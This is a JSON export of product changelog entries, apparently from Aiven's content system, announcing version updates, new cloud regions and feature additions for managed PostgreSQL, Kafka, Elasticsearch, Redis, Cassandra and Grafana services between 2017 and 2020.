{"_createdAt":"2022-10-27T09:08:20Z","_i18n_lang":"en","_id":"451fca5d-a782-4247-89df-538aed08aafc","_rev":"zF7BMhNhvYpWtPMfHNNcz4","_type":"changelog","_updatedAt":"2022-10-27T09:08:20Z","changeType":"","description":[{"_key":"ef93ad7d-02e5-442c-921d-672cbe81fcca","_type":"block","children":[{"_key":"6a52ddec-cfe4-49ff-8280-b94f6b3a0931","_type":"span","marks":[],"text":"Allows always creating backups at the given time of day."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-18T00:00:00.000Z","tags":[{"_key":"70687292-c8c2-44c0-8af5-bb74fe87783e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"User configurable backup start time"} {"_createdAt":"2022-10-27T09:08:18Z","_i18n_lang":"en","_id":"5c481813-522b-4a10-b3c3-a310760b0c92","_rev":"HEiYk6nGjmUICadcDbTLUx","_type":"changelog","_updatedAt":"2022-10-27T09:08:18Z","changeType":"","publishedAt":"2019-06-18T00:00:00.000Z","tags":[{"_key":"484ffe69-b93f-4824-ab3e-52015ed81991","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Schema registry client and Elasticsearch and JDBC connectors have been updated to version 5.0.3"} {"_createdAt":"2022-10-27T09:08:30Z","_i18n_lang":"en","_id":"9581f6c5-9833-48a1-80ab-33b4cb24bf27","_rev":"HEiYk6nGjmUICadcDbTMhW","_type":"changelog","_updatedAt":"2022-10-27T09:08:30Z","changeType":"","publishedAt":"2019-05-10T00:00:00.000Z","tags":[{"_key":"239b9560-f16f-4f66-9898-1de343c707e1","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"MySQL server version 8.0.16 now available."} {"_createdAt":"2022-10-27T09:08:25Z","_i18n_lang":"en","_id":"abff3353-6fdd-4b44-93e5-614c1e79a73a","_rev":"RS2LhK1JP0SKK0JvX1QzQ1","_type":"changelog","_updatedAt":"2022-10-27T09:08:25Z","changeType":"","publishedAt":"2019-06-06T00:00:00.000Z","tags":[{"_key":"c540dbab-0cd0-4798-b777-a0a92e04cc40","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"User configurable global SQL mode."} {"_createdAt":"2022-10-27T09:08:32Z","_i18n_lang":"en","_id":"486731e4-259c-48bd-b3b4-68b555cf8e68","_rev":"WYf15BwQWb3V4yHfbxP9Ux","_type":"changelog","_updatedAt":"2022-10-27T09:08:32Z","changeType":"","publishedAt":"2019-05-07T00:00:00.000Z","tags":[{"_key":"4d480237-98df-4de1-b13b-5110ee13a0da","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Add support for Stream Reactor's Kafka Connect sink"} {"_createdAt":"2022-10-27T09:09:42Z","_i18n_lang":"en","_id":"6d5cd17e-5419-42b7-8f14-25c9a1865b50","_rev":"dTcxLudMA3V5vz7pZEQjxl","_type":"changelog","_updatedAt":"2022-10-27T09:09:42Z","changeType":"","publishedAt":"2018-09-18T00:00:00.000Z","tags":[{"_key":"dbbad921-6740-4eef-8180-80bbc8a9a07e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Update PostgreSQL 10 extension wal2json to latest version."} {"_createdAt":"2022-10-27T09:08:40Z","_i18n_lang":"en","_id":"709e0cf0-f161-4db5-b38e-98447e495326","_rev":"GNtcCQgxf3P3DqpLt1jshp","_type":"changelog","_updatedAt":"2022-10-27T09:08:40Z","changeType":"","description":[{"_key":"e0bb8e98-fdee-4903-bf27-4b3691e508e3","_type":"block","children":[{"_key":"d2f87ec7-c0cc-4467-98dc-24b1f24a013a","_type":"span","marks":[],"text":"All Aiven services are now available in these regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-04-18T00:00:00.000Z","tags":[{"_key":"1c185a5e-038e-4ad5-a0e1-77980e546132","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"hostProvider"}],"title":"Added support for Azure regions France Central, India West, Korea Central and South Africa North regions"} {"_createdAt":"2022-10-27T09:08:42Z","_i18n_lang":"en","_id":"3a60b5a2-ea2b-48f7-bd6a-21718286e67b","_rev":"Dn65xz5Z1k22g7BhlztLPf","_type":"changelog","_updatedAt":"2022-10-27T09:08:42Z","changeType":"","publishedAt":"2019-04-10T00:00:00.000Z","tags":[{"_key":"0661a1aa-1610-4a0f-925e-2b2858ee0a44","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect GCS connector by Aiven is available as part of Aiven for Apache Kafka Connect."} {"_createdAt":"2022-10-27T09:08:43Z","_i18n_lang":"en","_id":"8466d14f-99b8-405c-8f0c-a0480d567349","_rev":"Cf2WlCE8X5IGBBi7ld1JwM","_type":"changelog","_updatedAt":"2022-10-27T09:08:43Z","changeType":"","description":[{"_key":"1507177b-8c1a-486a-818a-d2fddc15d731","_type":"block","children":[{"_key":"1f69d582-234c-480c-b01e-22a0dbadaf84","_type":"span","marks":[],"text":"Taking these into use may require applying a maintenance update for your Grafana service. To get started with metrics integrations, see the "},{"_key":"99591f6a-6e74-4089-9b6f-bd8eea9ce936","_type":"span","marks":["m1051781583781"],"text":"getting started guide"},{"_key":"86fc8be2-0511-4f63-91dc-a48f464e0c37","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m1051781583781","_type":"link","href":"https://help.aiven.io/services/integrations/getting-started-with-service-integrations"}],"style":"normal"}],"publishedAt":"2019-04-09T00:00:00.000Z","tags":[{"_key":"e27264b4-1991-4ec3-9b5e-69ad763acdbc","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"},{"_key":"ea474977-4153-4661-af7c-b00358d9a860","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"},{"_key":"997b9af2-5ffc-4d86-aa28-5a4cb9c68aa0","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"},{"_key":"69866e68-53c4-419d-8671-6fece91ea075","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"When using metrics integration, Aiven for Grafana now automatically creates dashboards for MySQL, Cassandra, Elasticsearch and Redis services, in addition to previously available Kafka and PostgreSQL services"} {"_createdAt":"2022-10-27T09:08:51Z","_i18n_lang":"en","_id":"95351293-beec-497a-a5d9-138d72afce6d","_rev":"tsRucK8MIVb3810duaE60W","_type":"changelog","_updatedAt":"2022-10-27T09:08:51Z","changeType":"","description":[{"_key":"492bd8c9-5952-45b4-9817-bbc8a422eed2","_type":"block","children":[{"_key":"67300756-c92e-4109-ab4b-a26d8f222e48","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-03-12T00:00:00.000Z","tags":[{"_key":"c71316a5-2d4b-4bad-92e4-cda5a8f9b4c5","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Zürich (\u003ccode\u003eeurope-west6\u003c/code\u003e) region"} {"_createdAt":"2022-10-27T09:09:04Z","_i18n_lang":"en","_id":"1e40c13b-f5e2-41fe-b549-20b57481a474","_rev":"HEiYk6nGjmUICadcDbTSla","_type":"changelog","_updatedAt":"2022-10-27T09:09:04Z","changeType":"","description":[{"_key":"06f21196-8cf8-4530-ba22-cc91a6e82d59","_type":"block","children":[{"_key":"67d6d127-42e2-4358-997f-d9db6d637191","_type":"span","marks":[],"text":"Select a Kafka service and head to the Schema Registry tab to get started. Using this feature may require applying a maintenance update."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-01-30T00:00:00.000Z","tags":[{"_key":"567b316a-5b7e-430b-ab8d-c6834bfb7e63","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Schema Registry can be managed from the Aiven console"} {"_createdAt":"2022-10-27T09:09:15Z","_i18n_lang":"en","_id":"7456e9e4-22d7-4b3a-a7d8-39d7d15aaef6","_rev":"zF7BMhNhvYpWtPMfHNNmZK","_type":"changelog","_updatedAt":"2022-10-27T09:09:15Z","changeType":"","publishedAt":"2018-11-28T00:00:00.000Z","tags":[{"_key":"4ab986b0-7ddd-41d8-9693-f0a0771b6cdd","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Aiven for Apache Cassandra has been updated to latest minor release 3.11.3."} {"_createdAt":"2022-10-27T09:09:17Z","_i18n_lang":"en","_id":"1430ab09-39ac-493e-9970-8f40adffa8d3","_rev":"Cf2WlCE8X5IGBBi7ld1KTG","_type":"changelog","_updatedAt":"2022-10-27T09:09:17Z","changeType":"","publishedAt":"2018-11-28T00:00:00.000Z","tags":[{"_key":"e2f41c0a-0229-45da-81bb-a2e6b8a753a8","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL extension PostGIS has been updated to version 2.5.1 and the TimescaleDB extension version has been updated to version 1.0.0."} {"_createdAt":"2022-10-27T09:09:27Z","_i18n_lang":"en","_id":"7ad14509-ff2d-481d-94e8-c6207e9c3ef9","_rev":"ncjVtEY290Sap8rHbFwj4T","_type":"changelog","_updatedAt":"2022-10-27T09:09:27Z","changeType":"","publishedAt":"2018-11-02T00:00:00.000Z","tags":[{"_key":"e5609029-2781-4942-9ac4-88d9c8b82e5e","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka Connect now supports the MySQL JDBC driver"} {"_createdAt":"2022-10-27T09:10:10Z","_i18n_lang":"en","_id":"fcd94f1d-e1d2-46a6-b01f-41e77397fcf9","_rev":"HEiYk6nGjmUICadcDbTaOu","_type":"changelog","_updatedAt":"2022-10-27T09:10:10Z","changeType":"","description":[{"_key":"d06e4681-a3bf-482f-b770-0e3f43a3b4bd","_type":"block","children":[{"_key":"f44cfb5a-e767-4f07-914f-1ed324d54e43","_type":"span","marks":[],"text":"The metrics integration comes with a ready-made default Grafana dashboard. The integration can be enabled from Aiven console -\u003e Services -\u003e Service Name -\u003e Service integrations section. For existing PostgreSQL and Grafana services optional maintenance upgrades need to be installed to start using the new integration."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-05-17T00:00:00.000Z","tags":[{"_key":"2853b5d1-efe2-49b9-bc86-ce1884408817","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"1a244308-cc13-48b0-8fd6-8a1fb299d510","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for PostgreSQL now supports metrics service integration with Aiven for InfluxDB and Grafana"} {"_createdAt":"2022-10-27T09:10:32Z","_i18n_lang":"en","_id":"aa91be3d-5604-4c11-94ff-7fbd643eaf4c","_rev":"7JYD5XroFCjaK9NJzk3zYc","_type":"changelog","_updatedAt":"2022-10-27T09:10:32Z","changeType":"","description":[{"_key":"3eb3149f-97a4-453e-a13b-29c05e91d8c0","_type":"block","children":[{"_key":"d438c7fe-55fd-4014-9a15-fca237011e6e","_type":"span","marks":[],"text":"VPCs can now be requested and viewed in the console."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-03-13T00:00:00.000Z","tags":[],"title":"Web console support for VPC peering"} {"_createdAt":"2022-10-27T09:05:40Z","_i18n_lang":"en","_id":"8e2972f6-7492-4669-8919-f7db840da88a","_rev":"HEiYk6nGjmUICadcDbT4s1","_type":"changelog","_updatedAt":"2022-10-27T09:05:40Z","changeType":"","description":[{"_key":"0bd31c19-08d6-4622-b1c8-9d82a73e54b2","_type":"block","children":[{"_key":"6ba1b487-1546-4b50-8717-e9069f69a194","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"b652cf89-c9f3-4144-b78b-bc505de2b7b3","_type":"span","marks":["m512507833169"],"text":"Elasticsearch 7.9.3"},{"_key":"07a5dc21-4efa-4630-8129-5ac494f65d65","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m512507833169","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/7.9/release-notes-7.9.3.html"}],"style":"normal"}],"publishedAt":"2020-11-19T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor version 7.9.3 is now available"} {"_createdAt":"2022-10-27T09:10:41Z","_i18n_lang":"en","_id":"35ab089f-63bd-4b57-aeb6-6b56b09823eb","_rev":"C4pC7IakZ1PpJ4LWR2B7u5","_type":"changelog","_updatedAt":"2022-10-27T09:10:41Z","changeType":"","description":[{"_key":"9deea69a-1f1f-4505-bebb-7a4804ff8ede","_type":"block","children":[{"_key":"d08cb34d-0b3c-430e-bf41-6d70e101b629","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"35089000-2480-496a-84a1-947145568e79","_type":"span","marks":["m14182745722225"],"text":"Elasticsearch"},{"_key":"af9d4a43-9a18-4693-b508-bd8dc96a0bdb","_type":"span","marks":[],"text":" and "},{"_key":"fd0d0f5f-6f7c-4999-a227-292d70632031","_type":"span","marks":["m3543405510832"],"text":"Kibana"},{"_key":"96f29bfe-a253-46aa-a570-e942c53e59dd","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14182745722225","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.2.0.html"},{"_key":"m3543405510832","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.2.0.html"}],"style":"normal"}],"publishedAt":"2018-02-12T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch 6.2.0 version support now available"} {"_createdAt":"2022-10-27T09:10:47Z","_i18n_lang":"en","_id":"0b83d3b6-9897-41b4-8acf-13f98d4388c2","_rev":"ncjVtEY290Sap8rHbFwlYv","_type":"changelog","_updatedAt":"2022-10-27T09:10:47Z","changeType":"","publishedAt":"2018-01-24T00:00:00.000Z","tags":[{"_key":"868b7729-9af2-4ba7-a318-47cfa777dcb9","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka now allows up to 2048 partitions per topic."} {"_createdAt":"2022-10-27T09:10:48Z","_i18n_lang":"en","_id":"3c1b3398-bec9-4ce6-8e22-7eb70684c74a","_rev":"ri8ZjU8zRgh6Niwltv1EjN","_type":"changelog","_updatedAt":"2022-10-27T09:10:48Z","changeType":"","description":[{"_key":"38db8bb9-6b64-48c3-b18a-42cd8f2381b4","_type":"block","children":[{"_key":"9918b9c1-8c04-478b-899a-e6eb681a0366","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-01-23T00:00:00.000Z","tags":[{"_key":"89fc523e-fd30-4f4d-8c14-11cf7d87bc11","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"hostProvider"}],"title":"Added support for Amazon Web Services (AWS) Paris region"} {"_createdAt":"2022-10-27T09:05:53Z","_i18n_lang":"en","_id":"05810e44-5665-4d4a-941c-eb619bd01bf0","_rev":"GNtcCQgxf3P3DqpLt1jTzJ","_type":"changelog","_updatedAt":"2022-10-27T09:05:53Z","changeType":"","publishedAt":"2020-10-13T00:00:00.000Z","tags":[{"_key":"5b5c9281-5cc9-4b7f-a445-73d766463cfa","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"The Grafana SMTP option startTLS_policy has been added to Aiven for Grafana as an advanced configuration option."} {"_createdAt":"2022-10-27T09:11:00Z","_i18n_lang":"en","_id":"b988604e-c34a-4f9e-9232-e8a290b21ec6","_rev":"WYf15BwQWb3V4yHfbxPimB","_type":"changelog","_updatedAt":"2022-10-27T09:11:00Z","changeType":"","description":[{"_key":"9731da38-fe82-47c8-a86f-39e9caa6c1d5","_type":"block","children":[{"_key":"2a13d1d1-3d43-448e-ac38-e6c78d1ac695","_type":"span","marks":[],"text":"Monthly invoices are automatically sent to all configured addresses."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-12-20T00:00:00.000Z","tags":[],"title":"Multiple email addresses can now be entered into billing information"} {"_createdAt":"2022-10-27T09:06:08Z","_i18n_lang":"en","_id":"19375962-1c1f-4496-aa39-d9ba427944e3","_rev":"ri8ZjU8zRgh6Niwltv1B63","_type":"changelog","_updatedAt":"2022-10-27T09:06:08Z","changeType":"","publishedAt":"2020-08-19T00:00:00.000Z","tags":[{"_key":"0fce34d2-620e-425d-a2e0-2f6574e67cb7","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"The fork functionality is now available also for Aiven for Redis, allowing you to easily create copies of your services."} {"_createdAt":"2022-10-27T09:06:07Z","_i18n_lang":"en","_id":"356d6d82-fa61-406d-b4de-e834193dba15","_rev":"ncjVtEY290Sap8rHbFwfCW","_type":"changelog","_updatedAt":"2022-10-27T09:06:07Z","changeType":"","description":[{"_key":"6d7a4456-d2d0-4cac-ae8b-1ae7e364b5c4","_type":"block","children":[{"_key":"bf8524f2-2190-4e6d-888b-1c30ba7db7f6","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"36263748-7b7a-49fe-91bb-5f6fe9c4cb6f","_type":"span","marks":["m15319031850322"],"text":"Elasticsearch 7.9.0"},{"_key":"2c732468-52ab-4d6c-a49b-4064a69f06ea","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15319031850322","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/7.9/release-notes-7.9.0.html"}],"style":"normal"}],"publishedAt":"2020-08-27T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor version 7.9.0 is now available"} {"_createdAt":"2022-10-27T09:11:13Z","_i18n_lang":"en","_id":"a03a3408-9670-409a-b944-c57bfe35874d","_rev":"GNtcCQgxf3P3DqpLt1kLLp","_type":"changelog","_updatedAt":"2022-10-27T09:11:13Z","changeType":"","publishedAt":"2017-10-11T00:00:00.000Z","tags":[{"_key":"7828390b-c5c2-4ee4-9044-b1257c74e280","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Upgraded pg_partman to 3.1.0 for Aiven for PostgreSQL 10."} {"_createdAt":"2022-10-27T09:06:23Z","_i18n_lang":"en","_id":"cec0aa73-ce1a-41fc-9f67-4e52082d9198","_rev":"HEiYk6nGjmUICadcDbT7qo","_type":"changelog","_updatedAt":"2022-10-27T09:06:23Z","changeType":"","description":[{"_key":"5cda7092-0068-4ef9-b542-aafc4c886d45","_type":"block","children":[{"_key":"d7f8189a-ee8d-45ff-b4d0-7829180023dd","_type":"span","marks":[],"text":"Please see the "},{"_key":"0d3986ab-336b-43a0-a3bf-20aa2288ceca","_type":"span","marks":["m10155337134488"],"text":"Changelog"},{"_key":"c7cf29a5-1947-4f00-8865-29d6cd2ed5f2","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m10155337134488","_type":"link","href":"https://raw.githubusercontent.com/antirez/redis/5.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2020-07-16T00:00:00.000Z","tags":[{"_key":"c02a3905-14d2-434b-a060-351002b41982","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to major version 5.0.9"} {"_createdAt":"2022-10-27T09:06:26Z","_i18n_lang":"en","_id":"4b9fdfd4-36cb-4ed3-8cfb-d99ba117a0c8","_rev":"RS2LhK1JP0SKK0JvX1Qb91","_type":"changelog","_updatedAt":"2022-10-27T09:06:26Z","changeType":"","description":[{"_key":"f1ae6cfb-b3f2-44e4-9fad-7b47c3ce9a38","_type":"block","children":[{"_key":"e369666e-f206-4c9b-b87a-41440fa840dd","_type":"span","marks":[],"text":"All Aiven services are now available in the "},{"_key":"bf22a61b-ba3d-4f7f-822b-1ca9db883179","_type":"span","marks":["code"],"text":"asia-southeast2"},{"_key":"51b7dafc-86f0-44e4-ab27-2282d2dab3b4","_type":"span","marks":[],"text":" region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-07-08T00:00:00.000Z","tags":[{"_key":"62915249-e0ae-4855-a55c-5724224966d8","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Jakarta region"} {"_createdAt":"2022-10-27T09:06:37Z","_i18n_lang":"en","_id":"ff2e5785-6b0d-4c20-a834-5b941073bbb7","_rev":"HEiYk6nGjmUICadcDbT9q0","_type":"changelog","_updatedAt":"2022-10-27T09:06:37Z","changeType":"","publishedAt":"2020-06-02T00:00:00.000Z","tags":[],"title":"Manage project membership between projects efficiently using Teams and SAML authentication.\u003ca href=\"https://help.aiven.io/en/collections/2389082-accounts\"\u003eView documentation\u003c/a\u003e."} {"_createdAt":"2022-10-27T09:06:53Z","_i18n_lang":"en","_id":"8c247da6-3f43-4b43-86e8-8d9c2d554ad4","_rev":"WYf15BwQWb3V4yHfbxOlKF","_type":"changelog","_updatedAt":"2022-10-27T09:06:53Z","changeType":"","publishedAt":"2020-04-20T00:00:00.000Z","tags":[{"_key":"4b996db1-f843-46e4-be27-644496520f3b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.7.0."} {"_createdAt":"2022-10-27T09:06:45Z","_i18n_lang":"en","_id":"58439df0-75ed-4416-b91e-5f4ad9f02210","_rev":"LZdZtpADiowz8bkvB6ncD8","_type":"changelog","_updatedAt":"2022-10-27T09:06:45Z","changeType":"","publishedAt":"2020-05-13T00:00:00.000Z","tags":[{"_key":"e5befa89-281d-4a4e-92ac-3c2cf7969e31","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven PostgreSQL 10, 11, 12 now has the rum extension available."} {"_createdAt":"2022-10-27T09:07:08Z","_i18n_lang":"en","_id":"d999a88f-bb5c-4bac-be53-9f025ad91fd1","_rev":"7JYD5XroFCjaK9NJzk3tRU","_type":"changelog","_updatedAt":"2022-10-27T09:07:08Z","changeType":"","publishedAt":"2020-02-05T00:00:00.000Z","tags":[{"_key":"9b81a161-21a5-4a97-90e9-3bfd90d84bcb","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Added Cassandra table and client request metrics"} {"_createdAt":"2022-10-27T09:06:50Z","_i18n_lang":"en","_id":"e45acfc0-e3b4-4379-b876-b72f5354a311","_rev":"RS2LhK1JP0SKK0JvX1Qf61","_type":"changelog","_updatedAt":"2022-10-27T09:06:50Z","changeType":"","publishedAt":"2020-05-04T00:00:00.000Z","tags":[{"_key":"0c06d7ef-e78a-4c65-870c-e2cd26481d7a","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Fix validation of variables with the same name in the file template in Aiven Kafka Connect GCS sink connector"} {"_createdAt":"2022-10-27T09:07:13Z","_i18n_lang":"en","_id":"24147b5b-442f-4ce5-ac83-2cbf795bc35c","_rev":"ri8ZjU8zRgh6Niwltv1C69","_type":"changelog","_updatedAt":"2022-10-27T09:07:13Z","changeType":"","publishedAt":"2020-01-16T00:00:00.000Z","tags":[{"_key":"12a4871a-d6a0-4454-9217-65754f962f7d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.6.0."} {"_createdAt":"2022-10-27T09:06:57Z","_i18n_lang":"en","_id":"dfd21508-f53a-4709-b14e-5eacc3f2a8bc","_rev":"Cf2WlCE8X5IGBBi7ld1Hes","_type":"changelog","_updatedAt":"2022-10-27T09:06:57Z","changeType":"","publishedAt":"2020-03-18T00:00:00.000Z","tags":[{"_key":"63f2830e-c441-42b7-80ee-5129bc212a6f","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Allow changing the wal_sender_timeout configuration option."} {"_createdAt":"2022-10-27T09:06:58Z","_i18n_lang":"en","_id":"6e47059a-802b-4c6f-ac1d-977bfe7c46af","_rev":"C4pC7IakZ1PpJ4LWR2B5HV","_type":"changelog","_updatedAt":"2022-10-27T09:06:58Z","changeType":"","publishedAt":"2020-03-18T00:00:00.000Z","tags":[{"_key":"051c8954-be6d-4924-a11d-839992fa75f6","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.6.1."} {"_createdAt":"2022-10-27T09:07:04Z","_i18n_lang":"en","_id":"dfa28960-b0d8-4195-9292-12d0b5aadb1c","_rev":"WYf15BwQWb3V4yHfbxOnff","_type":"changelog","_updatedAt":"2022-10-27T09:07:04Z","changeType":"","publishedAt":"2020-02-19T00:00:00.000Z","tags":[],"title":"The options http.max_header_size and http.max_initial_line_length have been added to Aiven for Elasticsearch advanced settings."} {"_createdAt":"2022-10-27T09:07:10Z","_i18n_lang":"en","_id":"74226f62-2ff9-4173-8f22-d1a3dda27d35","_rev":"ncjVtEY290Sap8rHbFwgno","_type":"changelog","_updatedAt":"2022-10-27T09:07:10Z","changeType":"","publishedAt":"2020-01-30T00:00:00.000Z","tags":["Aiven for Kafka"],"title":"\u003ca href=\"https://karapace.io\" rel=\"nofollow noopener noreferrer\"\u003eKarapace\u003c/a\u003e taken into use for new services to replace Schema Registry."} {"_createdAt":"2022-10-27T09:11:34Z","_i18n_lang":"en","_id":"f11f9c78-84f5-449f-ad30-0125ac578bcb","_rev":"zF7BMhNhvYpWtPMfHNO7OA","_type":"changelog","_updatedAt":"2022-10-27T09:11:34Z","changeType":"","description":[{"_key":"e3fa59bf-42b3-4712-b93d-4e093a1dbf38","_type":"block","children":[{"_key":"8c6bfb67-ad47-4aeb-a480-e941048cf280","_type":"span","marks":[],"text":"This allows you to automatically load data to and from a JDBC compatible database like Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-07-16T00:00:00.000Z","tags":[{"_key":"78e22bbd-e7bd-4318-aeb4-d4aeccc11901","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka Connect add support for the JDBC Kafka Connector"} {"_createdAt":"2022-10-27T09:07:18Z","_i18n_lang":"en","_id":"d27368d8-e18b-4ffd-889a-67ec75258e2c","_rev":"GNtcCQgxf3P3DqpLt1jcE9","_type":"changelog","_updatedAt":"2022-10-27T09:07:18Z","changeType":"","publishedAt":"2019-12-20T00:00:00.000Z","tags":[{"_key":"60dd6e1c-0e9a-44c9-8bb7-a307682fbf70","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.5.1."} {"_createdAt":"2022-10-27T09:07:33Z","_i18n_lang":"en","_id":"1013fd26-bb1a-43ce-b511-e5bb014646dd","_rev":"Dn65xz5Z1k22g7BhlztJxi","_type":"changelog","_updatedAt":"2022-10-27T09:07:33Z","changeType":"","publishedAt":"2019-10-30T00:00:00.000Z","tags":[],"title":"The option http.max_content_length has been added to Aiven for Elasticsearch advanced settings."} {"_createdAt":"2022-10-27T09:11:44Z","_i18n_lang":"en","_id":"1f72647f-6ea7-4983-8db8-b8deca31f321","_rev":"GNtcCQgxf3P3DqpLt1kX3V","_type":"changelog","_updatedAt":"2022-10-27T09:11:44Z","changeType":"","publishedAt":"2017-05-30T00:00:00.000Z","tags":[{"_key":"92900406-9868-4435-864a-acb50516de7d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"},{"_key":"536bd155-917b-4897-840d-e6f7858e2a05","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"hostProvider"}],"title":"Added support for Aiven for PostgreSQL plan tiers -120 and -160 in all Azure regions."} {"_createdAt":"2022-10-27T09:11:49Z","_i18n_lang":"en","_id":"f9f4126a-9214-43cd-bb7d-3ee73c65f31d","_rev":"GNtcCQgxf3P3DqpLt1ka8T","_type":"changelog","_updatedAt":"2022-10-27T09:11:49Z","changeType":"","description":[{"_key":"56a69145-3cb2-41d7-8b0a-db6eaed7c414","_type":"block","children":[{"_key":"89549662-5159-4728-854f-408f4e64da2a","_type":"span","marks":[],"text":"To see what's changed please refer to the releases notes for "},{"_key":"c05da50e-bd43-4161-8e5e-f8d186de14c0","_type":"span","marks":["m13997827738123"],"text":"9.3"},{"_key":"48c89dea-287d-4f51-adcc-0a215b8f2884","_type":"span","marks":[],"text":", "},{"_key":"edbde002-d915-4408-b18f-152ed8f63120","_type":"span","marks":["m2937799863516"],"text":"9.5"},{"_key":"3bd7a232-711a-42ab-ab01-bfc296c25823","_type":"span","marks":[],"text":" and "},{"_key":"dc601e85-f70b-4e43-9d25-a0ae30341606","_type":"span","marks":["m5925909457531"],"text":"9.6"},{"_key":"c7dc71dc-5a12-4130-99cc-430f06206331","_type":"span","marks":[],"text":" respectively."}],"markDefs":[{"_key":"m13997827738123","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-3-17.html"},{"_key":"m2937799863516","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-5-7.html"},{"_key":"m5925909457531","_type":"link","href":"https://www.postgresql.org/docs/9.5/static/release-9-6-3.html"}],"style":"normal"}],"publishedAt":"2017-05-11T00:00:00.000Z","tags":[{"_key":"6accb0c7-2605-4bb8-b98f-0980558a3069","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Updated to latest minor releases 9.3.17, 9.5.7 and 9.6.3"} 